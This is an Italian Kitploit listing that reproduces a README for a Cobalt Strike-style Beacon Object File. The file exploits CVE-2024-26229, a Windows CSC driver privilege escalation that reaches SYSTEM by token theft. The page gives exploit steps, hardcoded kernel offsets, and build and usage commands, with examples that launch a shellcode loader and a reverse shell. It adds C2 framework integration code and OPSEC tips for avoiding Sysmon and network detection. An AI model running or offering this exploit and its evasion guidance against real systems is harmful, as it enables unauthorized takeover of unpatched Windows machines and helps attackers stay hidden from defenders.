Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2024-26229-BOF — CVE-2024-26229 Beacon Object File version | Kitploit
Strumenti/GitHubGitHub/0xgunrunner/cve-2024-26229-bof
Privilege EscalationExploitationPost-ExploitationPenetration TestingRed TeamingPayload DevelopmentBinary Exploitation
GitHub0xgunrunner/cve-2024-26229-bof

CVE-2024-26229-BOF

CVE-2024-26229 Beacon Object File version

Vedi Repository
4 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2024-26229 BOF

Implementazione Beacon Object File di CVE-2024-26229 — escalation dei privilegi locali del driver CSC di Windows tramite furto del token DKOM.

Basato su RalfHacker/CVE-2024-26229-exploit, convertito in BOF con Dynamic Function Resolution (DFR) per l'uso con framework C2 che supportano l'API BOF di Cobalt Strike.

Come Funziona

  1. Apre \Device\Mup\;Csc\.\. tramite NtCreateFile per ottenere un handle al driver CSC
  2. Invia IOCTL 0x001401a3 (CSC_DEV_FCB_XXX_CONTROL_FILE) con un buffer di input modificato che punta a KTHREAD->PreviousMode - 0x18, corrompendo PreviousMode da UserMode a KernelMode
  3. Con PreviousMode = KernelMode, NtWriteVirtualMemory può scrivere a indirizzi kernel arbitrari
  4. Copia il token EPROCESS->Token del processo SYSTEM (PID 4) sul token del processo corrente (DKOM)
  5. Ripristina PreviousMode a UserMode
  6. Esegue l'eseguibile specificato tramite CreateProcessA — il processo figlio eredita il token SYSTEM

Il processo beacon stesso diventa SYSTEM dopo il passo 4. Il processo generato è opzionale — se CreateProcessA fallisce, il beacon è comunque elevato.

Target

  • OS: Windows 10 / Server 2019 (Build 19041+)
  • Requisito: driver CSC abilitato (HKLM\SYSTEM\CurrentControlSet\Services\CSC → Start = 1)
  • Patchato in: aggiornamento cumulativo di aprile 2024

Offset del Kernel (Hardcoded)

OffsetValoreStruttura
EPROCESS->Token0x4B8Windows 10 19041–19045 / Server 2019 17763
KTHREAD->PreviousMode0x232Windows 10 19041–19045 / Server 2019 17763

Questi offset sono specifici per versione. Se si ha come target una build diversa, verificare con WinDbg:

root@kitploit:~
dt nt!_EPROCESS Token
dt nt!_KTHREAD PreviousMode

Compilazione

Richiede mingw-w64 e un header beacon.h compatibile con il tuo framework C2.

root@kitploit:~
x86_64-w64-mingw32-gcc -c -o cve-2024-26229.x64.o cve-2024-26229.c

Posiziona il file .o compilato nella tua directory BOF (es., _bin/cve-2024-26229.x64.o).

Utilizzo

root@kitploit:~
cve-2024-26229 --path <exe_path> [--args "<exe_args>"]

Esempi

Esegui un loader con shellcode locale:

root@kitploit:~
cve-2024-26229 --path C:\Users\user\loader.exe --args "--munition-local C:\Users\user\payload.bin"

Esegui una reverse shell:

root@kitploit:~
cve-2024-26229 --path C:\Windows\System32\cmd.exe --args "/c C:\Users\user\shell.exe"

Esegui senza argomenti:

root@kitploit:~
cve-2024-26229 --path C:\Users\user\beacon.exe

Output Previsto

root@kitploit:~
[+] System EPROCESS  = 0xffff9383f3a62040
[+] Current KTHREAD  = 0xffff9383fa4df080
[+] Current EPROCESS = 0xffff9383fa9b3080
[!] DKOM: overwriting EPROCESS->Token
[+] Token replaced -- beacon process is now SYSTEM
[+] Spawned PID 2044 as SYSTEM: C:\Users\user\loader.exe --munition-local C:\Users\user\payload.bin

Integrazione con AdaptixC2 / AXS

Registra il BOF nel tuo script di estensione .axs:

root@kitploit:~
var cmd_cve26229 = ax.create_command(
    "cve-2024-26229",
    "CVE-2024-26229 CSC driver LPE -- DKOM token theft to SYSTEM",
    "cve-2024-26229 --path C:\\loader.exe --args \"--munition-local C:\\payload.bin\""
);
cmd_cve26229.addArgFlagString("--path", "path", "Path to executable to run as SYSTEM", "");
cmd_cve26229.addArgFlagString("--args", "args", "Arguments for the executable", "");
cmd_cve26229.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
    let path = parsed_json["path"];
    let args = parsed_json["args"];

    if (!path) {
        ax.task_output(id, "Error: --path is required");
        return;
    }

    let bof_params = ax.bof_pack("cstr,cstr", [path, args]);
    let bof_path = ax.script_dir() + "_bin/cve-2024-26229." + ax.arch(id) + ".o";

    ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, "Task: CVE-2024-26229 LPE");
});

Il packing degli argomenti è cstr,cstr — due stringhe terminanti nullo che corrispondono alle due chiamate BeaconDataExtract nel BOF.

Note OPSEC

  • Nessun artefatto userspace — DKOM opera interamente nella memoria del kernel tramite PreviousMode corrotto. Nessun file scritto, nessun servizio creato, nessuna modifica al registro.
  • Nessun indicatore di rete — l'exploit è solo locale. Abbinalo a un loader che legge lo shellcode dal disco (pattern --munition-local) piuttosto che scaricarlo via HTTP per evitare rilevamenti basati sulla rete.
  • Creazione del processo — CreateProcessA con CREATE_NO_WINDOW. Il processo generato eredita il token SYSTEM. Se il tuo loader fa iniezione in un altro processo (es., svchost.exe), il loader su disco può essere eliminato successivamente.
  • Sysmon — la chiamata NtCreateFile a \Device\Mup\;Csc\.\. e l'IOCTL non sono comunemente registrati dalle configurazioni Sysmon predefinite. La chiamata CreateProcessA genererà una Creazione Processo standard (Event ID 1) — assicurati che il binario generato non sia firmato in modo sospetto.
  • Ripristino di PreviousMode — il BOF ripristina PreviousMode a UserMode dopo la copia del token. Il processo beacon continua a funzionare normalmente dopo lo sfruttamento.

Limitazioni

  • Solo x64 — offset hardcodati e aritmetica dei puntatori presuppongono 64 bit
  • Gli offset sono specifici per build — i valori hardcodati di EPROCESS->Token (0x4B8) e KTHREAD->PreviousMode (0x232) sono validi per Windows 10 19041–19045 e Server 2019 17763. Altre build potrebbero richiedere regolazioni.
  • Il driver CSC deve essere abilitato — controlla con sc query csc o nel registro HKLM\SYSTEM\CurrentControlSet\Services\CSC (Start = 1). Il driver è abilitato per impostazione predefinita sulle workstation ma potrebbe essere disabilitato sui server.
  • Uso singolo per processo — il DKOM modifica il token EPROCESS del beacon stesso. Eseguire il BOF due volte nello stesso beacon è ridondante (già SYSTEM).

Crediti

  • RalfHacker — exploit standalone originale
  • Natel — test e revisione

Riferimenti

  • CVE-2024-26229 — MITRE
  • Microsoft Security Advisory

Disclaimer Legale

Questo strumento è destinato esclusivamente a test di penetrazione autorizzati e ricerca sulla sicurezza.

L'uso di questo strumento contro sistemi di cui non sei proprietario o per i quali non hai esplicita autorizzazione scritta è illegale ai sensi della legge vietnamita, inclusa ma non limitata a:

  • Luật An toàn thông tin mạng 2015 (Legge sulla Sicurezza delle Informazioni di Rete, n. 86/2015/QH13) — vieta l'accesso non autorizzato ai sistemi informativi
  • Bộ luật Hình sự 2015, sửa đổi 2017 (Codice Penale, Articoli 225–226) — penalizza l'intrusione non autorizzata in reti informatiche e la distruzione di dati

Questo strumento è fornito solo a scopo educativo. L'autore non si assume alcuna responsabilità per un uso improprio. Sei l'unico responsabile di garantire che il tuo uso sia conforme a tutte le leggi locali, nazionali e internazionali applicabili.

Usando questo strumento confermi di aver ottenuto la dovuta autorizzazione dal proprietario del sistema prima di qualsiasi attività di test.

Scarica lo strumento